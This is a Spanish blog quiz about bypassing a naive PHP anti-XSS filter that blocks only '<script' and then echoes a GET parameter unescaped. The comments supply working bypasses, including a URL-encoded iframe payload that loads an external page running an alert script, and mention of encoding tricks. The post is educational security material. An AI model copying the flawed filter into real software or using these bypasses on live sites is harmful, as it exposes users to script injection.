Categories
PHP Quiz Seguridad XSS

Cuando los filtros no hacen lo que deberían

El código que se muestra a continuación, es un ejemplo simplificado del comportamiento que ofrece en una de sus secciones, un -importante- diario español.


php:

<?php

/* Para evitar problemas con los encodings */
header('Content-type: text/html; charset=utf-8;');

/* Mandar un error 404 si el parámetro return contiene la cadena <script, < script, etc. -> \s=espacio */
if ( preg_match('/<\s*script/', $_GET['return']) ) {
        header("HTTP/1.0 404 Not Found");
        echo 'Not found!';
        exit();
}

?>
<html>

<head>
        <title>Anti XSS Page :D</title>
</head>

<body>

<?php echo $_GET['return']; ?>

</body>

</html>

¿Qué tienen que hacer para ejecutar javascript en el código mostrado?

Off Topic: ¿Qué sugieren para de algún modo premiar a los que aporten en la resolución de estos quiz? -dinero no tengo :D.

14 replies on “Cuando los filtros no hacen lo que deberían”

Oops, en tu blog si funciona el filtro anti XSS. Aqui va lo mismo pero html-ok:

En el feed se ve preg_match('/<\s+script/', $_GET['return']). Ese + canta de lejos. Que sorpresa me he llevado al ver en la pagina un *.

PD: Para la proxima usare la vista previa.

Je je, lo del + lo acabo de corregir.

Por cierto, si quieres que enviar código usa los bloques [ code] [ /code] o [ php] [ /php] (sin los espacios).

URL:

code:

.../?return=%3Ciframe+style%3D%22display%3A+none%22+src%3D%22http%3A%2F%2Fexample.com%2Ffoo.html%22%3E%3C%2Fiframe%3E

http://example.com/foo.html:

[html]<script type="text/javascript">
alert(window.parent.document.title + ' is powned');
</script>[/code]

Imagino que habrá alguna solución más elegante pero es la primera que se me ha ocurrido que funcione.

Francesc, muy bien, esa es una de las tantas formas de saltar ese filtro.

Para enviar código, como dije en #3, puedes usar los bloques [ code][ /code], php, javascript, etc

Francesc, sobre el uso del iframe, lo que se puede hacer con esto es un poco más limitado que otros métodos, por ejm. no se puede acceder al documento que contiene al iframe si es que estos no pertenecen al mismo dominio.

y .. pasar por urlencode, hexadecimal y blablabla...

cualquier cosa equivalente , pero que no siga la sintaxis de anteponer la etiqueta script se la tragaría

Comments are closed.